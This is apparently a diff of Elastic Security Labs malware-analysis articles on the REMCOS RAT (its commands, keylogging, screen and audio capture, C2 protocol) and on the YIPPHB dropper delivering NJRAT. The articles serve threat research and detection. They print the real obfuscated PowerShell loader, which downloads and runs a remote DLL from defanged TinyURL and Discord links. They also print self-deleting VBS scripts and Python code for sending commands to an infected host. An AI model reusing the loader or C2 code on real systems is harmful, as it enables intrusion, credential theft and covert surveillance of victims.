| 0x9E | TriggerAlarmWav |
|
||||
| 0x9F | EnableAlarmOnC2Disconnect |
|
||||
| 0xA0 | DisableAlarmOnC2Disconnect |
|
||||
| 0xA2 | DownloadAlarmWavFromC2AndOptPlayIt |
|
||||
| 0xA3 | AudioPlayer |
|
||||
| 0xAB | ElevateProcess |
|
||||
| 0xAC | EnableLoggingConsole |
|
||||
| 0xAD | ShowWindow |
|
||||
| 0xAE | HideWindow |
|
||||
| 0xB2 | ShellExecuteOrInjectPEFromC2OrURL |
|
||||
| 0xC5 | RegistrySetHlightValue |
|
||||
| 0xC6 | UploadBrowsersCookiesAndPasswords |
|
||||
| 0xC8 | SuspendProcess |
|
||||
| 0xC9 | ResumeProcess |
|
||||
| 0xCA | ReadFile |
|
||||
| 0xCB | WriteFile |
|
||||
| 0xCC | StartOfflineKeylogger |
|
||||
| 0xCD | StopOfflineKeylogger |
|
||||
| 0xCE | ListProcessesTCPandUDPTables |
|
||||
|
||||
### ListInstalledApplications command
|
||||
|
||||
To list installed applications, REMCOS iterates over the ```Software\Microsoft\Windows\CurrentVersion\Uninstall``` registry key. For each subkey, it queries the following values:
|
||||
|
||||
- ```DisplayName```
|
||||
- ```Publisher```
|
||||
- ```DisplayVersion```
|
||||
- ```InstallLocation```
|
||||
- ```InstallDate```
|
||||
- ```UninstallString```
|
||||
|
||||

|
||||
|
||||
|
||||
### ExecuteShellCmd command
|
||||
Shell commands are executed using the ShellExecuteW API with ```cmd.exe /C {command}``` as arguments.
|
||||
|
||||

|
||||
|
||||
|
||||
### GetHostGeolocation command
|
||||
To obtain host geolocation, REMCOS utilizes the [geoplugin.net](http://geoplugin.net) API and directly uploads the returned JSON data.
|
||||
|
||||

|
||||
|
||||
|
||||
### StartOnlineKeylogger command
|
||||
|
||||
The online keylogger employs the same keylogger structure as the offline version. However, instead of writing the data to the disk, the data is sent live to the C2.
|
||||
|
||||

|
||||
|
||||
|
||||
### StartWebcamModule command
|
||||
|
||||
REMCOS uses an external module for webcam recording. This module is a DLL that must be received and loaded from its C2 as part of the command parameters.
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
Once the module is loaded, you can send a sub-command to capture and upload a webcam picture.
|
||||
|
||||

|
||||
|
||||
|
||||
### StealPasswords command
|
||||
|
||||
Password stealing is likely carried out using 3 different [Nirsoft](https://www.nirsoft.net/) binaries, identified by the "/sext" parameters. These binaries are received from the C2 and injected into a freshly created process. Both elements are part of the command parameters.
|
||||
|
||||

|
||||
|
||||
|
||||
The ```/sext``` parameter instructs the software to write the output to a file, each output filename is randomly generated and stored in the malware installation folder. Once their contents are read and uploaded to the C2, they are deleted.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
An additional DLL, with a [FoxMailRecovery](https://github.com/jacobsoo/FoxmailRecovery) export, can also be utilized. Like the other binaries, the DLL is received from the C2 as part of the command parameters. As the name implies the DLLis likely to be used to dump FoxMail data
|
||||
|
||||

|
||||
|
||||
|
||||
### Uninstall command
|
||||
|
||||
The uninstall command will delete all Remcos-related files and persistence registry keys from the host machine.
|
||||
|
||||
First, it kills the watchdog process.
|
||||

|
||||
|
||||
|
||||
Then, it deletes all the recording files (keylogging, screenshots, and audio recordings).
|
||||
|
||||

|
||||
|
||||
|
||||
Then, it deletes its registry persistence keys.
|
||||
|
||||

|
||||
|
||||
|
||||
Finally, it deletes its installation files by creating and executing a Visual Basic script in the %TEMP% folder with a random filename, then terminates its process.
|
||||
|
||||

|
||||
|
||||
|
||||
Below the generated script with comments.
|
||||
|
||||
```
|
||||
' Continue execution even if an error occurs
|
||||
On Error Resume Next
|
||||
|
||||
' Create a FileSystemObject
|
||||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' Loop while the specified file exists
|
||||
while fso.FileExists("C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe")
|
||||
|
||||
' Delete the specified file
|
||||
fso.DeleteFile "C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe"
|
||||
|
||||
' End of the loop
|
||||
wend
|
||||
|
||||
' Delete the script itself
|
||||
fso.DeleteFile(Wscript.ScriptFullName)
|
||||
```
|
||||
|
||||
### Restart command
|
||||
|
||||
The Restart command kills the watchdog process and restarts the REMCOS binary using a generated Visual Basic script.
|
||||
|
||||
Below is the generated script with comments.
|
||||
|
||||
```
|
||||
' Create a WScript.Shell object and run a command in the command prompt
|
||||
' The command runs the specified .exe file
|
||||
' The "0" argument means the command prompt window will not be displayed
|
||||
CreateObject("WScript.Shell").Run "cmd /c ""C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe""", 0
|
||||
|
||||
' Create a FileSystemObject and delete the script itself
|
||||
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
|
||||
```
|
||||
|
||||
## DumpBrowserHistoryUsingNirsoft command
|
||||
|
||||
Like the StealPasswords command, the DumpBrowserHistoryUsingNirsoft command steals browser history using likely another Nirsoft binary received from the C2 as part of the command parameter. Again, we identify the binary as part of Nirsoft because of the ```/stext``` parameter.
|
||||
|
||||

|
||||
|
||||
|
||||
### ElevateProcess command
|
||||
|
||||
The ElevateProcess command, if the process isn’t already running with administrator privileges, will set the ```HKCU/SOFTWARE/{mutex}/elev``` registry key and restart the malware using the same method as the Restart command.
|
||||
|
||||

|
||||
|
||||
|
||||
Upon restart, the REMCOS checks the ```elev``` value as part of its initialization phase. If the value exists, it'll delete it and utilize its UAC bypass feature to elevate its privileges.
|
||||
|
||||

|
||||
|
||||
|
||||
That’s the end of the third article. In the final part we’ll cover detection and hunt strategies of REMCOS using Elastic technologies.
|
|
@ -0,0 +1,237 @@
|
|||
---
|
||||
title: "Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two"
|
||||
slug: "dissecting-remcos-rat-part-two"
|
||||
date: "2024-04-30"
|
||||
subtitle: "Part two: Diving into REMCOS recording capabilities, launch, and C2 communication"
|
||||
description: "In the previous article in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: samir-bousseaden
|
||||
image: "Security Labs Images 21.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- malware-analysis
|
||||
- remcos
|
||||
---
|
||||
|
||||
In the [previous article](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one) in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.
|
||||
|
||||
## Starting watchdog
|
||||
|
||||
If the ```enable_watchdog_flag``` (index ```0x32```) is enabled, the REMCOS will activate its watchdog feature.
|
||||
|
||||

|
||||
|
||||
|
||||
This feature involves the malware launching a new process, injecting itself into it, and monitoring the main process. The goal of the watchdog is to restart the main process in case it gets terminated. The main process can also restart the watchdog if it gets terminated.
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The target binary for watchdog injection is selected from a hardcoded list, choosing the first binary for which the process creation and injection are successful:
|
||||
|
||||
- ```svchost.exe```
|
||||
- ```rmclient.exe```
|
||||
- ```fsutil.exe```
|
||||
|
||||

|
||||
|
||||
|
||||
In this example, the watchdog process is ```svchost.exe```.
|
||||
|
||||

|
||||
|
||||
|
||||
The registry value ```HKCU/SOFTWARE/{MUTEX}/WD``` is created before starting the watchdog process and contains the main process PID.
|
||||
|
||||

|
||||
|
||||
|
||||
Once REMCOS is running in the watchdog process, it takes a "special" execution path by verifying if the ```WD``` value exists in the malware registry key. If it does, the value is deleted, and the monitoring procedure function is invoked.
|
||||
|
||||

|
||||
|
||||
It is worth noting that the watchdog process has a special mutex to differentiate it from the main process mutex. This mutex string is derived from the configuration (index ```0xE```) and appended with ```-W```.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
When the main process is terminated, the watchdog detects it and restarts it using the ```ShellExecuteW``` API with the path to the malware binary retrieved from the ```HKCU/SOFTWARE/{mutex}/exepath``` registry key
|
||||
|
||||

|
||||
|
||||
|
||||
## Starting recording threads
|
||||
|
||||
### Keylogging thread
|
||||
|
||||
The offline keylogger has two modes of operation:
|
||||
|
||||
1. Keylog everything
|
||||
2. Enable keylogging when specific windows are in the foreground
|
||||
|
||||
When the ```keylogger_mode``` (index ```0xF```) field is set to 1 or 2 in the configuration, REMCOS activates its "Offline Keylogger" capability.
|
||||
|
||||

|
||||
|
||||
|
||||
Keylogging is accomplished using the ```SetWindowsHookExA``` API with the ```WH_KEYBOARD_LL``` constant.
|
||||
|
||||

|
||||
|
||||
|
||||
The file where the keylogging data is stored is built using the following configuration fields:
|
||||
|
||||
- ```keylogger_root_directory``` (index ```0x31```)
|
||||
- ```keylogger_parent_directory``` (index ```0x10```)
|
||||
- ```keylogger_filename``` (index ```0x11```)
|
||||
|
||||
The keylogger file path is ```{keylogger_root_directory}/{keylogger_parent_directory}/{keylogger_filename}```. In this case, it will be ```%APPDATA%/keylogger.dat```.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The keylogger file can be encrypted by enabling the ```enable_keylogger_file_encryption_flag``` (index ```0x12```) flag in the configuration. It will be encrypted using the RC4 algorithm and the configuration key.
|
||||
|
||||

|
||||
|
||||
|
||||
The file can also be made super hidden by enabling the ```enable_keylogger_file_hiding_flag``` (index ```0x13```) flag in the configuration.
|
||||
|
||||
When using the second keylogging mode, you need to set the ```keylogger_specific_window_names``` (index ```0x2A```) field with strings that will be searched in the current foreground window title every 5 seconds.
|
||||
|
||||

|
||||
|
||||
|
||||
Upon a match, keylogging begins. Subsequently, the current foreground window is checked every second to stop the keylogger if the title no longer contains the specified strings.
|
||||
|
||||

|
||||
|
||||
|
||||
### Screen recording threads
|
||||
|
||||
When the ```enable_screenshot_flag``` (index ```0x14```) is enabled in the configuration, REMCOS will activate its screen recording capability.
|
||||
|
||||

|
||||
|
||||
|
||||
To take a screenshot, REMCOS utilizes the ```CreateCompatibleBitmap``` and the ```BitBlt``` Windows APIs. If the ```enable_screenshot_mouse_drawing_flag``` (index ```0x35```) flag is enabled, the mouse is also drawn on the bitmap using the ```GetCursorInfo```, ```GetIconInfo```, and the ```DrawIcon``` API.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The path to the folder where the screenshots are stored is constructed using the following configuration:
|
||||
- ```screenshot_parent_directory``` (index ```0x19```)
|
||||
- ```screenshot_folder``` (index ```0x1A```)
|
||||
|
||||
The final path is ```{screenshot_parent_directory}/{screenshot_folder}```.
|
||||
|
||||
REMCOS utilizes the ```screenshot_interval_in_minutes``` (index ```0x15```) field to capture a screenshot every X minutes and save it to disk using the following format string: ```time_%04i%02i%02i_%02i%02i%02i```.
|
||||
|
||||

|
||||
|
||||
|
||||
Similarly to keylogging data, when the ```enable_screenshot_encryption_flag``` (index ```0x1B```) is enabled, the screenshots are saved encrypted using the RC4 encryption algorithm and the configuration key.
|
||||
|
||||
At the top, REMCOS has a similar "specific window" feature for its screen recording as its keylogging capability. When the ```enable_screenshot_specific_window_names_flag``` (index ```0x16```) is set, a second screen recording thread is initiated.
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
This time, it utilizes the ```screenshot_specific_window_names``` (index ```0x17```) list of strings to capture a screenshot when the foreground window title contains one of the specified strings. Screenshots are taken every X seconds, as specified by the ```screenshot_specific_window_names_interval_in_seconds``` (index ```0x18```) field.
|
||||
|
||||
In this case, the screenshots are saved on the disk using a different format string: ```wnd_%04i%02i%02i_%02i%02i%02i```. Below is an example using ["notepad"] as the list of specific window names and setting the Notepad process window in the foreground.
|
||||
|
||||

|
||||
|
||||
|
||||
### Audio recording thread
|
||||
|
||||
When the ```enable_audio_recording_flag``` (index ```0x23```) is enabled, REMCOS initiates its audio recording capability.
|
||||
|
||||

|
||||
|
||||
|
||||
The recording is conducted using the Windows ```Wave*``` API. The duration of the recording is specified in minutes by the ```audio_recording_duration_in_minutes``` (```0x24```) configuration field.
|
||||
|
||||

|
||||
|
||||
|
||||
After recording for X minutes, the recording file is saved, and a new recording begins. REMCOS uses the following configuration fields to construct the recording folder path:
|
||||
|
||||
- ```audio_record_parent_directory``` (index ```0x25```)
|
||||
- ```audio_record_folder``` (index ```0x26```)
|
||||
|
||||
The final path is ```{audio_record_parent_directory}/{audio_record_folder}```. In this case, it will be ```C:\MicRecords```. Recordings are saved to disk using the following format: ```%Y-%m-%d %H.%M.wav```.
|
||||
|
||||

|
||||
|
||||
|
||||
## Communication with the C2
|
||||
|
||||
After initialization, REMCOS initiates communication with its C2. It attempts to connect to each domain in its ```c2_list``` (index ```0x0```) until one responds.
|
||||
|
||||
According to previous research, communication can be encrypted using TLS if enabled for a specific C2. In such cases, the TLS engine will utilize the ```tls_raw_certificate``` (index ```0x36```), ```tls_key``` (index ```0x37```), and ```tls_raw_peer_certificate``` (index ```0x38```) configuration fields to establish the TLS tunnel.
|
||||
|
||||
It's important to note that in this scenario, only one peer certificate can be provided for multiple TLS-enabled C2 domains. As a result, it may be possible to identify other C2s using the same certificate.
|
||||
|
||||
Once connected we received our first packet:
|
||||
|
||||

|
||||
|
||||
|
||||
As [described in depth by Fortinet](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing), the protocol hasn't changed, and all packets follow the same structure:
|
||||
|
||||
- (orange)```magic_number```: ```\x24\x04\xff\x00```
|
||||
- (red)```data_size```: ```\x40\x03\x00\x00```
|
||||
- (green)```command_id``` (number): ```\0x4b\x00\x00\x00```
|
||||
- (blue)data fields separated by ```|\x1e\x1e\1f|```
|
||||
|
||||
After receiving the first packet from the malware, we can send our own command using the following functions.
|
||||
|
||||
```Python
|
||||
MAGIC = 0xFF0424
|
||||
SEPARATOR = b"\x1e\x1e\x1f|"
|
||||
|
||||
|
||||
def build_command_packet(command_id: int, command_data: bytes) -> bytes:
|
||||
return build_packet(command_id.to_bytes(4, byteorder="little") + command_data)
|
||||
|
||||
|
||||
def build_packet(data: bytes) -> bytes:
|
||||
packet = MAGIC.to_bytes(4, byteorder="little")
|
||||
packet += len(data).to_bytes(4, byteorder="little")
|
||||
packet += data
|
||||
return packet
|
||||
```
|
||||
|
||||
Here we are going to change the title of a Notepad window using the command 0x94, passing as parameters its window handle (329064) and the text of our choice.
|
||||
|
||||
```Python
|
||||
def main() -> None:
|
||||
server_0 = nclib.TCPServer(("192.168.204.1", 8080))
|
||||
|
||||
for client in server_0:
|
||||
print(client.recv_all(5))
|
||||
|
||||
client.send(build_command_packet(
|
||||
0x94,
|
||||
b"329064" + SEPARATOR + "AM_I_A_JOKE_TO_YOU?".encode("utf-16-le")))
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
That’s the end of the second article. The third part will cover REMCOS' configuration and its C2 commands.
|
|
@ -0,0 +1,520 @@
|
|||
---
|
||||
title: "Doing time with the YIPPHB dropper"
|
||||
slug: "doing-time-with-the-yipphb-dropper"
|
||||
date: "2022-11-21"
|
||||
subtitle: "Elastic Security Labs identified an interesting approach to frustrate the detection of the YIPPHB dropper and RAT implants."
|
||||
description: "Elastic Security Labs outlines the steps collect and analyze the various stages of the REF4526 intrusion set. This intrusion set uses a creative approach of Unicode icons in Powershell scripts to install a loader, a dropper, and RAT implants."
|
||||
author:
|
||||
- slug: seth-goodwin
|
||||
- slug: derek-ditch
|
||||
- slug: salim-bitam
|
||||
- slug: remco-sprooten
|
||||
- slug: andrew-pease
|
||||
image: "time-watch-theme-machines-gears.jpg"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
tags:
|
||||
- ref4526
|
||||
- njrat
|
||||
- yipphb
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.
|
||||
- YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.
|
||||
- The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.
|
||||
|
||||
## Preamble
|
||||
|
||||
While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.
|
||||
|
||||
Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.
|
||||
|
||||
This research focused on the following:
|
||||
|
||||
- Loader phase
|
||||
- Dropper phase
|
||||
- RAT phase
|
||||
- Activity clusters
|
||||
- Network infrastructure
|
||||
- Hunting queries
|
||||
|
||||
## Analysis
|
||||
|
||||
The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.
|
||||
|
||||

|
||||
|
||||
### Loader phase
|
||||
|
||||
While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.
|
||||
|
||||
```
|
||||
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
|
||||
```
|
||||
|
||||
While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.
|
||||
|
||||
Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a **U**. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: [CyberChef](https://gchq.github.io/CyberChef/).
|
||||
|
||||
By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.
|
||||
|
||||

|
||||
|
||||
Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.
|
||||
|
||||
```
|
||||
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
|
||||
```
|
||||
|
||||
The loader is downloaded from `https://tinyurl[.]com/2erph6cs`. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.
|
||||
|
||||
To unfurl the TinyURL, we can use the JSON API endpoint from [Unshorten.me](https://unshorten.me/):
|
||||
|
||||
```
|
||||
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
|
||||
{
|
||||
"requested_url": "tinyurl[.]com/2erph6cs",
|
||||
"success": true,
|
||||
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
|
||||
"usage_count": 3,
|
||||
"remaining_calls": 8
|
||||
}
|
||||
```
|
||||
|
||||
Downloading **dllsica.txt** from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from **dllsica.txt** can easily be decoded without substitutions.
|
||||
|
||||
Using the **cat** , **base64** , **xxd** , and **head** command line tools, we can see that this has a hexadecimal value of **4d5a** and an MZ magic number in the file header. This confirms we’re analyzing a PE file.
|
||||
|
||||
- **cat** - catenates a file
|
||||
- **base64 -D** - the **-D** switch decodes a base64 encoded file
|
||||
- **xxd** - creates a hexadecimal dump of an input
|
||||
- **head** - returns the first 10 lines of a file
|
||||
|
||||
```
|
||||
$ cat dllsica.txt | base64 -D | xxd | head
|
||||
|
||||
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
|
||||
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
|
||||
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
|
||||
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
|
||||
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
|
||||
...truncated...
|
||||
```
|
||||
|
||||
Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.
|
||||
|
||||
- **file** - verify the file type
|
||||
- **shasum -a 256** - the -a 256 switch uses the 256-bit hashing algorithm
|
||||
|
||||
```
|
||||
$ cat dllsica.txt | base64 -D > dllsica.bin
|
||||
|
||||
$ file dllsica.bin
|
||||
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
|
||||
|
||||
$ shasum -a 256 dllsica.bin
|
||||
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
|
||||
```
|
||||
|
||||
Now that the loader has been collected, it executes the method **PUlGKA** inside of the class **NwgoxM.KPJaN**. From the original Base64 decoded string
|
||||
|
||||
```
|
||||
…truncated…
|
||||
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
|
||||
...truncated…:
|
||||
```
|
||||
|
||||

|
||||
|
||||
We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.
|
||||
|
||||
```
|
||||
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
|
||||
```
|
||||
|
||||
### Dropper phase
|
||||
|
||||
From the loader's execution image above, we can see that the loader uses a reversed variable (**text = bdw6ufv4/moc[.]lruynit//:sptth**) to download an additional file using a TinyURL. Using the command line tool, **rev** , we can correct the reversed URL.
|
||||
|
||||
```
|
||||
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
|
||||
|
||||
https://tinyurl[.]com/4vfu6wd
|
||||
```
|
||||
|
||||
We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.
|
||||
|
||||
```
|
||||
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
|
||||
{
|
||||
"requested_url": "tinyurl[.]com/4vfu6wd",
|
||||
"success": true,
|
||||
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
|
||||
"usage_count": 2,
|
||||
"remaining_calls": 9
|
||||
}
|
||||
```
|
||||
|
||||
Another encoded file is downloaded from Discord: **pesica.txt**. As of this writing, VirusTotal reports zero detections of this file.
|
||||
|
||||
With clues from **dllsica.bin** , we can see that **pesica.txt** uses UTF-8 encoding. To further analyze our file, we need to replace the **▒▒▒▒** values with an **A** , and Base64 decode the resulting strings.
|
||||
|
||||
```
|
||||
…truncated…
|
||||
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
|
||||
string text2 = new WebClient
|
||||
{
|
||||
Encoding = Encoding.UTF8
|
||||
}.DownloadString(Strings.StrReverse(text));
|
||||
text2 = Strings.StrReverse(text2);
|
||||
text2 = text2.Replace("▒▒▒▒", "A");
|
||||
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
|
||||
text3 = Strings.StrReverse(text3);
|
||||
…truncated…
|
||||
{
|
||||
text4 + "\\InstallUtil.exe",
|
||||
Convert.FromBase64String(text3)
|
||||
});
|
||||
…truncated…
|
||||
```
|
||||
|
||||
We can stack recipes to perform these functions with CyberChef.
|
||||
|
||||

|
||||
|
||||
Once we’ve decoded **pesica.txt** , we calculate the hash **bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf**. The decoded output of **pesica.txt** shows the **YippHB** module name.
|
||||
|
||||
```
|
||||
...truncated...
|
||||
ToInt16
|
||||
<Module>
|
||||
YippHB
|
||||
ResumeThread_API
|
||||
...truncated...
|
||||
```
|
||||
|
||||
This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher [Paul Melson](https://twitter.com/pmelson). Paul [publicly disclosed](https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara) this dropper in October of 2022 at the Augusta BSides security conference.
|
||||
|
||||
The YIPPHB dropper is executed using the [Installutil.exe](https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool) command-line utility to start the RAT phase.
|
||||
|
||||
> We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.
|
||||
|
||||
### RAT phase
|
||||
|
||||
Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.
|
||||
|
||||
```
|
||||
…truncated…
|
||||
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
|
||||
```
|
||||
|
||||
The RAT was retrieved from `https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt`, which is reversed from **txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth**.
|
||||
|
||||
Looking at the file **10oct8000.txt** file, we can see that it is a reversed, Base64-encoded file.
|
||||
|
||||
```
|
||||
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
|
||||
```
|
||||
|
||||
We can correct this file and Base64 decode it using the command-line tools **rev** and **base64** and save the output as **10oct8000.bin**.
|
||||
|
||||
```
|
||||
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
|
||||
```
|
||||
|
||||
**10oct8000.bin** has a SHA256 hash of **1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3**. This file is reported on VirusTotal as a variant of the [LIMERAT](https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat) or [NJRAT](https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat) malware families (depending on the source).
|
||||
|
||||
Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT ([1](https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html), [2](https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/)).
|
||||
|
||||
The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.
|
||||
|
||||

|
||||
|
||||
For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( **TllBTiBDQVQ=** ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with [a known NJRAT code base](https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs), this C2 configuration information adds to our conviction that this is related to NJRAT.
|
||||
|
||||

|
||||
|
||||
